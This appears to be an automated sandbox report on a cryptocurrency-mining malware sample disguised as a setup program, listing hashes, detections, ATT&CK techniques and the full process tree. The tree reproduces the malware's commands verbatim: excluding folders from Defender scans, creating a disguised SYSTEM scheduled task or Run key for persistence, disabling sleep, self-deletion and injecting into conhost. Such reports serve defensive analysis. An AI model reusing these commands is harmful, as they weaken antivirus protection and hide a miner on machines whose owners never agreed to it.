xmrig | 975930a23c07c68020d761cbc929b9c5f8cc88c21ee69b5fd2b1c7b4940ae9b5

Analysis

max time kernel
150s
max time network
146s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
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04-05-2023 01:21

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General

Target

setup.EXE.exe
Size

2.2MB
MD5

39e8e89d11f4c2beb1dc272240968ee2
SHA1

fcacd9e35b7f74165c7c85df55f413af3177c462
SHA256

975930a23c07c68020d761cbc929b9c5f8cc88c21ee69b5fd2b1c7b4940ae9b5
SHA512

6bd0ae070048b2ba0b3d448deac9f50edb87751f508fcfcb79be1511a9efe7d1836c4a08dad544bda61d709a7ac431c74025e3d0497541b76b3a623ec36ac566
SSDEEP

49152:HvQktXR6UE2TlbnUj5vKhCin0lJ1vBjE9+bnY0:PptgkUdvKA1pj1bn

Score

10^/10

xmrig miner persistence upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs

description	pid	Process	procid_target
PID 1508 created 1264	1508	updater.exe	16
PID 1508 created 1264	1508	updater.exe	16
PID 1508 created 1264	1508	updater.exe	16
PID 1508 created 1264	1508	updater.exe	16
PID 1508 created 1264	1508	updater.exe	16
PID 1884 created 1264	1884	updater.exe	16
PID 1884 created 1264	1884	updater.exe	16
PID 1884 created 1264	1884	updater.exe	16
PID 1884 created 1264	1884	updater.exe	16
PID 460 created 1264	460	conhost.exe	16
PID 1884 created 1264	1884	updater.exe	16

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 14 IoCs

miner

resource	yara_rule
behavioral1/memory/1164-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1164-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	updater.exe
File created	C:\Windows\System32\drivers\etc\hosts	updater.exe

Executes dropped EXE 2 IoCs

pid	Process
1508	updater.exe
1884	updater.exe

Loads dropped DLL 2 IoCs

pid	Process
1708	setup.EXE.exe
1948	taskeng.exe

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1164-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1164-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	setup.EXE.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	setup.EXE.exe

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1884 set thread context of 460	1884	updater.exe	59
PID 1884 set thread context of 1164	1884	updater.exe	66

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	updater.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
628	schtasks.exe
764	schtasks.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 2068ee7f377ed901	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 29 IoCs

pid	Process
1508	updater.exe
1508	updater.exe
1280	powershell.exe
1508	updater.exe
1508	updater.exe
1508	updater.exe
1508	updater.exe
1172	powershell.exe
1508	updater.exe
1508	updater.exe
1508	updater.exe
1508	updater.exe
1712	powershell.exe
1884	updater.exe
1884	updater.exe
876	powershell.exe
1884	updater.exe
1884	updater.exe
1884	updater.exe
1884	updater.exe
1100	powershell.exe
1884	updater.exe
1884	updater.exe
1884	updater.exe
1884	updater.exe
460	conhost.exe
460	conhost.exe
1884	updater.exe
1884	updater.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeShutdownPrivilege	1524	powercfg.exe
Token: SeShutdownPrivilege	1244	powercfg.exe
Token: SeShutdownPrivilege	904	powercfg.exe
Token: SeShutdownPrivilege	1784	powercfg.exe
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	876	powershell.exe
Token: SeShutdownPrivilege	948	powercfg.exe
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeShutdownPrivilege	920	powercfg.exe
Token: SeShutdownPrivilege	1496	powercfg.exe
Token: SeShutdownPrivilege	580	powercfg.exe
Token: SeAssignPrimaryTokenPrivilege	1244	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1244	WMIC.exe
Token: SeSecurityPrivilege	1244	WMIC.exe
Token: SeTakeOwnershipPrivilege	1244	WMIC.exe
Token: SeLoadDriverPrivilege	1244	WMIC.exe
Token: SeSystemtimePrivilege	1244	WMIC.exe
Token: SeBackupPrivilege	1244	WMIC.exe
Token: SeRestorePrivilege	1244	WMIC.exe
Token: SeShutdownPrivilege	1244	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1244	WMIC.exe
Token: SeUndockPrivilege	1244	WMIC.exe
Token: SeManageVolumePrivilege	1244	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1244	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1244	WMIC.exe
Token: SeSecurityPrivilege	1244	WMIC.exe
Token: SeTakeOwnershipPrivilege	1244	WMIC.exe
Token: SeLoadDriverPrivilege	1244	WMIC.exe
Token: SeSystemtimePrivilege	1244	WMIC.exe
Token: SeBackupPrivilege	1244	WMIC.exe
Token: SeRestorePrivilege	1244	WMIC.exe
Token: SeShutdownPrivilege	1244	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1244	WMIC.exe
Token: SeUndockPrivilege	1244	WMIC.exe
Token: SeManageVolumePrivilege	1244	WMIC.exe
Token: SeLockMemoryPrivilege	1164	conhost.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 1508	1708	setup.EXE.exe	28
PID 1708 wrote to memory of 1508	1708	setup.EXE.exe	28
PID 1708 wrote to memory of 1508	1708	setup.EXE.exe	28
PID 516 wrote to memory of 1524	516	cmd.exe	35
PID 516 wrote to memory of 1524	516	cmd.exe	35
PID 516 wrote to memory of 1524	516	cmd.exe	35
PID 516 wrote to memory of 1244	516	cmd.exe	36
PID 516 wrote to memory of 1244	516	cmd.exe	36
PID 516 wrote to memory of 1244	516	cmd.exe	36
PID 516 wrote to memory of 904	516	cmd.exe	37
PID 516 wrote to memory of 904	516	cmd.exe	37
PID 516 wrote to memory of 904	516	cmd.exe	37
PID 516 wrote to memory of 1784	516	cmd.exe	38
PID 516 wrote to memory of 1784	516	cmd.exe	38
PID 516 wrote to memory of 1784	516	cmd.exe	38
PID 1172 wrote to memory of 764	1172	powershell.exe	39
PID 1172 wrote to memory of 764	1172	powershell.exe	39
PID 1172 wrote to memory of 764	1172	powershell.exe	39
PID 316 wrote to memory of 1080	316	cmd.exe	44
PID 316 wrote to memory of 1080	316	cmd.exe	44
PID 316 wrote to memory of 1080	316	cmd.exe	44
PID 1712 wrote to memory of 1996	1712	powershell.exe	45
PID 1712 wrote to memory of 1996	1712	powershell.exe	45
PID 1712 wrote to memory of 1996	1712	powershell.exe	45
PID 1948 wrote to memory of 1884	1948	taskeng.exe	47
PID 1948 wrote to memory of 1884	1948	taskeng.exe	47
PID 1948 wrote to memory of 1884	1948	taskeng.exe	47
PID 844 wrote to memory of 948	844	cmd.exe	54
PID 844 wrote to memory of 948	844	cmd.exe	54
PID 844 wrote to memory of 948	844	cmd.exe	54
PID 844 wrote to memory of 920	844	cmd.exe	55
PID 844 wrote to memory of 920	844	cmd.exe	55
PID 844 wrote to memory of 920	844	cmd.exe	55
PID 844 wrote to memory of 1496	844	cmd.exe	56
PID 844 wrote to memory of 1496	844	cmd.exe	56
PID 844 wrote to memory of 1496	844	cmd.exe	56
PID 844 wrote to memory of 580	844	cmd.exe	57
PID 844 wrote to memory of 580	844	cmd.exe	57
PID 844 wrote to memory of 580	844	cmd.exe	57
PID 1100 wrote to memory of 628	1100	powershell.exe	58
PID 1100 wrote to memory of 628	1100	powershell.exe	58
PID 1100 wrote to memory of 628	1100	powershell.exe	58
PID 1884 wrote to memory of 460	1884	updater.exe	59
PID 872 wrote to memory of 1244	872	cmd.exe	64
PID 872 wrote to memory of 1244	872	cmd.exe	64
PID 872 wrote to memory of 1244	872	cmd.exe	64
PID 1884 wrote to memory of 1164	1884	updater.exe	66

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1264
- C:\Users\Admin\AppData\Local\Temp\setup.EXE.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.EXE.exe"
  2⤵
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updater.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updater.exe
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    PID:1508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1280
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:516
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1524
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1244
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:904
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#eumzq#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:764
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updater.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:316
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#orelnvz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:876
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:844
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:948
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:920
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1496
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:580
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe mtyzmefaxy
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:460
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1244
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:272
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ztfwjhqgydmzyhtd 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvsjpN5Mqdy4DBfa6KATFfaKAZMaQXvC1KNgNaZfZM8HGxL4eRg92r0PLThD4RS2+rjexl8QEwIJ14M3prGAtbnGuOaajagFMdZbQlZnkX7LTpDvemLklFEEkDRpd0MRiQkmiCqDJT0ST70lpA0Ax7hpUE2veW9asGL77y/7F+zB5ZPVSaU34o+Lv5kWkDLeNK0cugkA6illux3T+/Sb2S0vZvaE26iVl31vXE4exJE+Ud35vD+X6VNNbq1oYojHEXzWw4GRTP3CD20YI3aKBJ8z/zhyAFcAcIv5y7wAjkLs3ZoC+4dl9lrkSMrjgiNC6QQDtYQHoCERfzJ58wLLRWfx
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1164

C:\Windows\system32\taskeng.exe
taskeng.exe {CA6A2BE8-471D-47F3-BCE9-49792FA15D64} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#eumzq#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
      4⤵
      Creates scheduled task(s)
      PID:628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Program Files\Google\Chrome\updater.exe

Filesize
2.1MB

MD5
16ceeaa7a3236d2ac005df92c974ef91

SHA1
48b875f24b43ec64f3271a6989f6747dd4bbf2a8

SHA256
8fe9e6d788994d51dec47aa936f234f779082431a6e9822b9956f57197abcef9

SHA512
8b07b641128aa323c77055a968e60ca4d10931cad585363489d964b5abbb6d3a6ea179410a702f9515879c8ab229c074ff7895b60081d9f71780a66adc6805ed

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.1MB

MD5
16ceeaa7a3236d2ac005df92c974ef91

SHA1
48b875f24b43ec64f3271a6989f6747dd4bbf2a8

SHA256
8fe9e6d788994d51dec47aa936f234f779082431a6e9822b9956f57197abcef9

SHA512
8b07b641128aa323c77055a968e60ca4d10931cad585363489d964b5abbb6d3a6ea179410a702f9515879c8ab229c074ff7895b60081d9f71780a66adc6805ed

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
2.1MB

MD5
16ceeaa7a3236d2ac005df92c974ef91

SHA1
48b875f24b43ec64f3271a6989f6747dd4bbf2a8

SHA256
8fe9e6d788994d51dec47aa936f234f779082431a6e9822b9956f57197abcef9

SHA512
8b07b641128aa323c77055a968e60ca4d10931cad585363489d964b5abbb6d3a6ea179410a702f9515879c8ab229c074ff7895b60081d9f71780a66adc6805ed

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C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

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C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updater.exe

Filesize
2.1MB

MD5
16ceeaa7a3236d2ac005df92c974ef91

SHA1
48b875f24b43ec64f3271a6989f6747dd4bbf2a8

SHA256
8fe9e6d788994d51dec47aa936f234f779082431a6e9822b9956f57197abcef9

SHA512
8b07b641128aa323c77055a968e60ca4d10931cad585363489d964b5abbb6d3a6ea179410a702f9515879c8ab229c074ff7895b60081d9f71780a66adc6805ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\updater.exe

Filesize
2.1MB

MD5
16ceeaa7a3236d2ac005df92c974ef91

SHA1
48b875f24b43ec64f3271a6989f6747dd4bbf2a8

SHA256
8fe9e6d788994d51dec47aa936f234f779082431a6e9822b9956f57197abcef9

SHA512
8b07b641128aa323c77055a968e60ca4d10931cad585363489d964b5abbb6d3a6ea179410a702f9515879c8ab229c074ff7895b60081d9f71780a66adc6805ed

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
10bbf52abaec7c15a68184561b488c5d

SHA1
33ea83d3bb4292b84d882e4f52cda075db1d9f81

SHA256
7faa8826e913a4db9565f47761733159464ff73aaf2dc9e2850a06b7991ffecc

SHA512
0d9a6a9d15b39472d8abb9b21da2efbd10ce93a2d6f3668cb9f5e311cb7093a4099f1b55b92cc758f8e9a335fc733eff4c7af8268d8604f36111a4f1471c4ae4

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
10bbf52abaec7c15a68184561b488c5d

SHA1
33ea83d3bb4292b84d882e4f52cda075db1d9f81

SHA256
7faa8826e913a4db9565f47761733159464ff73aaf2dc9e2850a06b7991ffecc

SHA512
0d9a6a9d15b39472d8abb9b21da2efbd10ce93a2d6f3668cb9f5e311cb7093a4099f1b55b92cc758f8e9a335fc733eff4c7af8268d8604f36111a4f1471c4ae4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZA0DAH2XNZUOJXE3A0T9.temp

Filesize
7KB

MD5
10bbf52abaec7c15a68184561b488c5d

SHA1
33ea83d3bb4292b84d882e4f52cda075db1d9f81

SHA256
7faa8826e913a4db9565f47761733159464ff73aaf2dc9e2850a06b7991ffecc

SHA512
0d9a6a9d15b39472d8abb9b21da2efbd10ce93a2d6f3668cb9f5e311cb7093a4099f1b55b92cc758f8e9a335fc733eff4c7af8268d8604f36111a4f1471c4ae4

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
2b19df2da3af86adf584efbddd0d31c0

SHA1
f1738910789e169213611c033d83bc9577373686

SHA256
58868a299c5cf1167ed3fbc570a449ecd696406410b24913ddbd0f06a32595bd

SHA512
4a1831f42a486a0ad2deef3d348e7220209214699504e29fdfeb2a6f7f25ad1d353158cd05778f76ef755e77ccd94ce9b4a7504039e439e4e90fa7cde589daa6

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.1MB

MD5
16ceeaa7a3236d2ac005df92c974ef91

SHA1
48b875f24b43ec64f3271a6989f6747dd4bbf2a8

SHA256
8fe9e6d788994d51dec47aa936f234f779082431a6e9822b9956f57197abcef9

SHA512
8b07b641128aa323c77055a968e60ca4d10931cad585363489d964b5abbb6d3a6ea179410a702f9515879c8ab229c074ff7895b60081d9f71780a66adc6805ed

Download Submit
\Users\Admin\AppData\Local\Temp\IXP000.TMP\updater.exe

Filesize
2.1MB

MD5
16ceeaa7a3236d2ac005df92c974ef91

SHA1
48b875f24b43ec64f3271a6989f6747dd4bbf2a8

SHA256
8fe9e6d788994d51dec47aa936f234f779082431a6e9822b9956f57197abcef9

SHA512
8b07b641128aa323c77055a968e60ca4d10931cad585363489d964b5abbb6d3a6ea179410a702f9515879c8ab229c074ff7895b60081d9f71780a66adc6805ed

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memory/460-113-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

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memory/460-118-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

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memory/876-95-0x000000000121B000-0x0000000001252000-memory.dmp

Filesize
220KB

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memory/876-94-0x0000000001214000-0x0000000001217000-memory.dmp

Filesize
12KB

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memory/1100-101-0x0000000000A40000-0x0000000000AC0000-memory.dmp

Filesize
512KB

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memory/1100-100-0x0000000000A40000-0x0000000000AC0000-memory.dmp

Filesize
512KB

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memory/1100-99-0x0000000000A40000-0x0000000000AC0000-memory.dmp

Filesize
512KB

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memory/1100-102-0x0000000000A40000-0x0000000000AC0000-memory.dmp

Filesize
512KB

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memory/1164-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

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memory/1164-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

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memory/1164-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

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memory/1164-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

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memory/1164-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

